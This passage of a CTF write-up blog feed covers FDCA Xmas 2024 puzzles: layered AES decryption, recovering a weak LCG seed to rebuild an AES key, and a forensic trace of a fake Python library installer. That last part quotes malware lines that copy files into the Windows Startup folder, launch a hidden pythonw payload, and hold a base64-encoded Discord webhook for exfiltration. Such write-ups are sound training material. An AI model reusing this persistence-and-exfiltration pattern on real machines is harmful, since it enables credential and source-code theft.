</span></span><span style="display:flex;"><span>b&#39;key=BA05E2B072984133E10BA582EE8FF8531210109933423CBFA3AAA205108FEE52\nPp\x18\xdf\xc2]\xa8:\x8d?\x0f\x9c\xcf\x9c\xbb&lt;\x1b\xeb\xe4U\xc9\x18\xb4\xa0\ny\x08\xbf\xad\x12\x0f&#39;
</span></span></code></pre></div><p>So lets make a script that unpacks the encryption layer by layer til we get to end:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto.Cipher <span style="color:#f92672">import</span> AES
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto.Util.Padding <span style="color:#f92672">import</span> unpad
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;suspicious_signal.bin&#39;</span>, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>    signal <span style="color:#f92672">=</span> fp<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">decrypt_layer</span>(data: bytes) <span style="color:#f92672">-&gt;</span> bytes:
</span></span><span style="display:flex;"><span>    key, part <span style="color:#f92672">=</span> data<span style="color:#f92672">.</span>split(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>, maxsplit<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    key <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(key<span style="color:#f92672">.</span>decode())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(key, AES<span style="color:#f92672">.</span>MODE_ECB)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> unpad(cipher<span style="color:#f92672">.</span>decrypt(part), <span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> signal<span style="color:#f92672">.</span>startswith(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;key=&#39;</span>):
</span></span><span style="display:flex;"><span>    signal <span style="color:#f92672">=</span> decrypt_layer(signal<span style="color:#f92672">.</span>removeprefix(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;key=&#39;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(signal)
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ python solve.py
</span></span><span style="display:flex;"><span>b&#39;FDCA{B3tter_don3_tha7_aut0matic4lly}\n&#39;
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 12 - Jættelatterens hemmelighed</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-12-j%C3%A6ttelatterens-hemmelighed/</link><pubDate>Tue, 24 Dec 2024 15:59:12 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-12-j%C3%A6ttelatterens-hemmelighed/</guid><description>Challenge Description Danish (original) I en skjult dal i Asgård har jætterne udviklet en algoritme, som de hævder er uigennemtrængelig. Vi har fået adgang til nogle filer på tilforladelige måder. Herunder det output, der var på skærmen, da jætterne krypterede en vigtig besked.
Vi har desværre ikke nogen der er kyndige i jættekode. Måske du kan cracke deres kryptering?
English (from chatgpt) In a hidden valley in Asgard, the giants have developed an algorithm that they claim is impenetrable.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>I en skjult dal i Asgård har jætterne udviklet en algoritme, som de hævder er uigennemtrængelig. Vi har fået adgang til nogle filer på tilforladelige måder. Herunder det output, der var på skærmen, da jætterne krypterede en vigtig besked.</p>
<p>Vi har desværre ikke nogen der er kyndige i jættekode. Måske du kan cracke deres kryptering?</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>In a hidden valley in Asgard, the giants have developed an algorithm that they claim is impenetrable. We have gained access to some files through reliable means. Below is the output that appeared on the screen when the giants encrypted an important message.</p>
<p>Unfortunately, we don&rsquo;t have anyone skilled in giant code. Maybe you can crack their encryption?</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/filedump.zip">filedump.zip</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Unzipping the file we see that it contains two python scripts, two binary files and some output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip filedump.zip
</span></span><span style="display:flex;"><span>Archive:  filedump.zip
</span></span><span style="display:flex;"><span>  inflating: cipher.bin
</span></span><span style="display:flex;"><span>  inflating: encryption_output.txt
</span></span><span style="display:flex;"><span>  inflating: encrypt.py
</span></span><span style="display:flex;"><span>  inflating: iv.bin
</span></span><span style="display:flex;"><span>  inflating: jaette_random_tools.py
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ cat encryption_output.txt
</span></span><span style="display:flex;"><span>Secret jætte-key: 
</span></span><span style="display:flex;"><span>De kommer aldrig igennem vores avancerede krypteringsalgoritme
</span></span><span style="display:flex;"><span>HuihuheHiihaHeehheHiihaHaeHaaahaHiihaHohhaoHuooHyu
</span></span><span style="display:flex;"><span>iv.bin not found, creating a default one
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Encryption complete and written to &#39;cipher.bin&#39;
</span></span></code></pre></div><p>Looking at <code>encrypt.py</code> we can see how the flag is encrypted:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> jaette_random_tools <span style="color:#f92672">import</span> ThorLCG, JaetteAES
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> getpass
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> hashlib
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Initialize the LCG with exposed parameters</span>
</span></span><span style="display:flex;"><span>a <span style="color:#f92672">=</span> <span style="color:#ae81ff">1664525</span>
</span></span><span style="display:flex;"><span>c <span style="color:#f92672">=</span> <span style="color:#ae81ff">1013904223</span>
</span></span><span style="display:flex;"><span>m <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">**</span><span style="color:#ae81ff">32</span>
</span></span><span style="display:flex;"><span>password <span style="color:#f92672">=</span> getpass<span style="color:#f92672">.</span>getpass(<span style="color:#e6db74">&#34;Secret jætte-key: &#34;</span>)
</span></span><span style="display:flex;"><span>seed <span style="color:#f92672">=</span> int(hashlib<span style="color:#f92672">.</span>sha256(password<span style="color:#f92672">.</span>encode())<span style="color:#f92672">.</span>hexdigest(), <span style="color:#ae81ff">16</span>) <span style="color:#f92672">%</span> m
</span></span><span style="display:flex;"><span>rng <span style="color:#f92672">=</span> ThorLCG(seed, a<span style="color:#f92672">=</span>a, c<span style="color:#f92672">=</span>c, m<span style="color:#f92672">=</span>m)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Post signature jætte laugh, but make it random to make it more scary</span>
</span></span><span style="display:flex;"><span>laughparts <span style="color:#f92672">=</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Haaaha&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Heehhe&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hiiha&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Ha&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Huihuhe&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hae&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Huoo&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hohhao&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hua&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hyu&#34;</span>,
</span></span><span style="display:flex;"><span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;De kommer aldrig igennem vores avancerede krypteringsalgoritme&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>laugh_seed <span style="color:#f92672">=</span> rng<span style="color:#f92672">.</span>next()
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">.</span>join([laughparts[int(l)] <span style="color:#66d9ef">for</span> l <span style="color:#f92672">in</span> str(laugh_seed)]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Generate a secret key</span>
</span></span><span style="display:flex;"><span>key <span style="color:#f92672">=</span> bytes([rng<span style="color:#f92672">.</span>get_random_byte() <span style="color:#66d9ef">for</span> _ <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">16</span>)])  <span style="color:#75715e"># 128-bit key</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Check that an iv.bin file is present, otherwise make one</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;iv.bin&#34;</span>, <span style="color:#e6db74">&#34;rb&#34;</span>) <span style="color:#66d9ef">as</span> iv_file:
</span></span><span style="display:flex;"><span>        iv <span style="color:#f92672">=</span> iv_file<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">except</span> <span style="color:#a6e22e">FileNotFoundError</span>:
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;iv.bin not found, creating a default one&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Create a default </span>
</span></span><span style="display:flex;"><span>    iv <span style="color:#f92672">=</span> bytes(rng<span style="color:#f92672">.</span>get_random_byte() <span style="color:#66d9ef">for</span> _ <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">16</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;iv.bin&#34;</span>, <span style="color:#e6db74">&#34;wb&#34;</span>) <span style="color:#66d9ef">as</span> iv_file:
</span></span><span style="display:flex;"><span>        iv_file<span style="color:#f92672">.</span>write(iv)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Encrypt a super secret message using the secret key</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;message.txt&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span>) <span style="color:#66d9ef">as</span> message_input_file:
</span></span><span style="display:flex;"><span>    payload <span style="color:#f92672">=</span> message_input_file<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>cipher <span style="color:#f92672">=</span> JaetteAES(key)
</span></span><span style="display:flex;"><span>ciphertext <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>encrypt(payload)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Save the ciphertext to a file to be shared with jætte receivers</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;cipher.bin&#34;</span>, <span style="color:#e6db74">&#34;wb&#34;</span>) <span style="color:#66d9ef">as</span> cipher_file:
</span></span><span style="display:flex;"><span>    cipher_file<span style="color:#f92672">.</span>write(ciphertext)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Encryption complete and written to &#39;cipher.bin&#39;&#34;</span>)
</span></span></code></pre></div><p>Since the key is generated by pulling values from the <code>rng</code>, breaking this randomness generator could let us generate the same key. We dont have the original seed because that is taken in by <code>getpass</code>.</p>
<p>But since the laugh from the output is also generated by a <code>rng</code> value we may be able to recover it and use it to recreate the values for the key.</p>
<p>From the name <code>ThorLCG</code>, we know that it is a <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">Linear congruential generator</a> and these are <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator#Advantages_and_disadvantages"><strong>NOT</strong> cryptographically secure</a>.</p>
<p>Looking at the implementation of <code>ThorLCG</code> from <code>jaette_random_tools.py</code> we can see that it is changing its state using <code>a</code>, <code>c</code>, and <code>m</code> that we know from <code>encrypt.py</code> and then returning the new state:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ThorLCG</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Thor&#39;s Linear Congruent Generator for generating thunderous random numbers.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Harness the power of Mjölnir.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> __init__(self, seed, a, c, m):
</span></span><span style="display:flex;"><span>        self<span style="color:#f92672">.</span>state <span style="color:#f92672">=</span> seed
</span></span><span style="display:flex;"><span>        self<span style="color:#f92672">.</span>a <span style="color:#f92672">=</span> a
</span></span><span style="display:flex;"><span>        self<span style="color:#f92672">.</span>c <span style="color:#f92672">=</span> c
</span></span><span style="display:flex;"><span>        self<span style="color:#f92672">.</span>m <span style="color:#f92672">=</span> m
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">next</span>(self):
</span></span><span style="display:flex;"><span>        self<span style="color:#f92672">.</span>state <span style="color:#f92672">=</span> (self<span style="color:#f92672">.</span>a <span style="color:#f92672">*</span> self<span style="color:#f92672">.</span>state <span style="color:#f92672">+</span> self<span style="color:#f92672">.</span>c) <span style="color:#f92672">%</span> self<span style="color:#f92672">.</span>m
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> self<span style="color:#f92672">.</span>state
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_random_byte</span>(self):
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;&#34;&#34;Return a random byte (0-255)&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> self<span style="color:#f92672">.</span>next() <span style="color:#f92672">%</span> <span style="color:#ae81ff">256</span>
</span></span></code></pre></div><p>So reversing the laugh will give us a state that we can then begin a new <code>ThorLCG</code> with as the initial state and the next values should then be the same as the ones used to generate the key, and then decrypt <code>cipher.bin</code>.</p>
<p>My solve script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> jaette_random_tools <span style="color:#f92672">import</span> ThorLCG, JaetteAES
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>a <span style="color:#f92672">=</span> <span style="color:#ae81ff">1664525</span>
</span></span><span style="display:flex;"><span>c <span style="color:#f92672">=</span> <span style="color:#ae81ff">1013904223</span>
</span></span><span style="display:flex;"><span>m <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">**</span><span style="color:#ae81ff">32</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>laughs <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>split(
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;(H[^H]*)&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;HuihuheHiihaHeehheHiihaHaeHaaahaHiihaHohhaoHuooHyu&#34;</span>
</span></span><span style="display:flex;"><span>)[<span style="color:#ae81ff">1</span>::<span style="color:#ae81ff">2</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>laughparts <span style="color:#f92672">=</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Haaaha&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Heehhe&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hiiha&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Ha&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Huihuhe&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hae&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Huoo&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hohhao&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hua&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Hyu&#34;</span>,
</span></span><span style="display:flex;"><span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>laugh_seed <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> laugh <span style="color:#f92672">in</span> laughs:
</span></span><span style="display:flex;"><span>    laugh_seed <span style="color:#f92672">*=</span> <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>    laugh_seed <span style="color:#f92672">+=</span> laughparts<span style="color:#f92672">.</span>index(laugh)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rng <span style="color:#f92672">=</span> ThorLCG(laugh_seed, a<span style="color:#f92672">=</span>a, c<span style="color:#f92672">=</span>c, m<span style="color:#f92672">=</span>m)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>key <span style="color:#f92672">=</span> bytes([rng<span style="color:#f92672">.</span>get_random_byte() <span style="color:#66d9ef">for</span> _ <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">16</span>)])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;cipher.bin&#39;</span>, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> cipher_file:
</span></span><span style="display:flex;"><span>    ciphertext <span style="color:#f92672">=</span> cipher_file<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cipher <span style="color:#f92672">=</span> JaetteAES(key)
</span></span><span style="display:flex;"><span>plaintext <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>decrypt(ciphertext)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(plaintext)
</span></span></code></pre></div><p>And running my solve script we get the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ python solve.py
</span></span><span style="display:flex;"><span>Alle Jættestyrker: Husk nu at bruge en god random number generator!
</span></span><span style="display:flex;"><span>FDCA{YOU_BROKE_THE_RNG}
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 11 - Duckfuscation</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-11-duckfuscation/</link><pubDate>Tue, 24 Dec 2024 15:59:11 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-11-duckfuscation/</guid><description>Challenge Description Danish (original) Vi har modtaget efterretninger om, at dele af vores hemmelige kildekode samt adgangskoder er blevet sat til salg på darkweb. Som led i efterforskningen har vi afhørt vores udvikler &amp;ldquo;Loke&amp;rdquo; og beslaglagt hans workstation til nærmere undersøgelse.
Under afhøringen var Loke ikke til stor hjælp; han snakkede konstant om Django, og til sidst var det kun et spørgsmål om sekunder, før IR-holdet, der udførte afhøringen, ville ty til andre metoder for at få ham til at tale.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Vi har modtaget efterretninger om, at dele af vores hemmelige kildekode samt adgangskoder er blevet sat til salg på darkweb. Som led i efterforskningen har vi afhørt vores udvikler &ldquo;Loke&rdquo; og beslaglagt hans workstation til nærmere undersøgelse.</p>
<p>Under afhøringen var Loke ikke til stor hjælp; han snakkede konstant om Django, og til sidst var det kun et spørgsmål om sekunder, før IR-holdet, der udførte afhøringen, ville ty til andre metoder for at få ham til at tale. Heldigvis nævnte han dog en detalje, som de formoder er et vigtigt led i efterforskningen. Han nævnte at han engang havde hentet en Python-dependency fra en uofficiel kilde.</p>
<p>Selvom han syntes, det var mistænkeligt, at filerne var pakket i en zip-fil med en adgangskode, blev han beroliget, da kilden allerede havde givet ham koden: &ldquo;123&rdquo;.</p>
<p>Loke’s workstation er et digitalt kaos af kode, filer og rod, hvilket har resulteret i at IR holdet nægtede at undersøge den. Kan du hjælpe os med at gennemgå den og finde ud af, hvad der er sket? Vi advarer dog – det er ikke en opgave for de svagelige&hellip;</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>We have received intelligence that parts of our secret source code and passwords have been put up for sale on the dark web. As part of the investigation, we have interrogated our developer &ldquo;Loke&rdquo; and seized his workstation for further examination.</p>
<p>During the interrogation, Loke was not very helpful; he kept talking about Django, and eventually, it was only a matter of seconds before the IR team conducting the interrogation would resort to other methods to make him talk. However, fortunately, he did mention a detail that they believe is a key piece of the investigation. He mentioned that he had once downloaded a Python dependency from an unofficial source.</p>
<p>Although he found it suspicious that the files were packed in a zip file with a password, he was reassured since the source had already given him the code: &ldquo;123&rdquo;.</p>
<p>Loke&rsquo;s workstation is a digital chaos of code, files, and clutter, which led the IR team to refuse to investigate it. Can you help us go through it and figure out what happened? However, be warned – this is not a task for the faint of heart&hellip;</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://drive.google.com/file/d/1JjjGKyTXXOyQbN9EvLJ0aqLSugG7Rzuw/view">developer_image.E01</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Opening the file using <a href="https://www.autopsy.com">autopsy</a> and looking around for a bit I found <code>PythonExtendedLibrary_v4.3.1.zip</code> and the unpacked folder it created.</p>
<p>The full path to the folder is:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>C:\Users\dev\Downloads\PythonExtendedLibrary_v4.3.1\PythonExtendedLibrary_v4.3.1\
</span></span></code></pre></div><p>Looking through the <code>PythonExtendedLibraryInstaller_v4.3.1.bat</code> in this folder we find a call to another batch file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-batch" data-lang="batch"><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM         raise ValueError(&#34;Binary string can only contain &#39;0&#39; and &#39;1&#39; characters.&#34;)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">start</span> /min <span style="color:#e6db74">&#34;&#34;</span> .\conf\project_template.bat
</span></span><span style="display:flex;"><span>ping 127.0.0.1 -n 3 &gt; nul
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span></code></pre></div><p>And following the tail of bread crumbs to <code>.\conf\project_template.bat</code> we find yet another call to a batch file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-batch" data-lang="batch"><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM     str: The XML representation of the binary string.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">start</span> /min <span style="color:#e6db74">&#34;&#34;</span> .\conf\lib\flatpages\0001_failover.bat
</span></span><span style="display:flex;"><span>ping 127.0.0.1 -n 1 &gt; nul
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span></code></pre></div><p>In <code>.\conf\lib\flatpages\0001_failover.bat</code> we see two interesting sections:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-batch" data-lang="batch"><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM     REM //A nullable int? with 80% probability of being null.</span>
</span></span><span style="display:flex;"><span>ROBOCOPY <span style="color:#e6db74">&#34;.\ISO\userprofiles\storage&#34;</span> <span style="color:#e6db74">&#34;</span>%USERPROFILE%<span style="color:#e6db74">\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&#34;</span> /MIR &gt; nul
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM public enum Gender</span>
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM     str: The XML representation of the binary string.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">start</span> <span style="color:#e6db74">&#34;&#34;</span> pythonw <span style="color:#e6db74">&#34;</span>%USERPROFILE%<span style="color:#e6db74">\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\python_runtime.pyw&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM     .RuleFor(o =&gt; o.Description, f =&gt; f.Commerce.ProductAdjective()); REM // New Rule</span>
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span></code></pre></div><p>So it copies all files from the <code>.\ISO\userprofiles\storage</code> folder into the user&rsquo;s startup folder and then runs the <code>python_runtime.pyw</code> that was put there, so lets look at <code>.\ISO\userprofiles\storage\python_runtime.pyw</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>[expunged <span style="color:#66d9ef">for</span> readability]
</span></span><span style="display:flex;"><span>SEND_REPORT_EVERY<span style="color:#f92672">=</span><span style="color:#ae81ff">30</span>
</span></span><span style="display:flex;"><span>WEBHOOK<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMwMjcwNDU1MTAyMzc2MjgyMy93M0hqWURfRkRDQXtweTdoMG5fazN5MTA5OTMyX2QxNWMwMmRfM3hmMTF9&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>():
</span></span><span style="display:flex;"><span>[expunged <span style="color:#66d9ef">for</span> readability]
</span></span></code></pre></div><p>The python script does alot, but for the purpose of getting the flag I have cut it down to the <code>WEBHOOK</code> constant, when decoded from base64 it gives us:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ WEBHOOK<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMwMjcwNDU1MTAyMzc2MjgyMy93M0hqWURfRkRDQXtweTdoMG5fazN5MTA5OTMyX2QxNWMwMmRfM3hmMTF9&#39;</span>
</span></span><span style="display:flex;"><span>$ echo $WEBHOOK | base64 -d
</span></span><span style="display:flex;"><span>https://discord.com/api/webhooks/1302704551023762823/w3HjYD_FDCA{py7h0n_k3y109932_d15c02d_3xf11}
</span></span></code></pre></div><p>And so the flag is <code>FDCA{py7h0n_k3y109932_d15c02d_3xf11}</code></p>
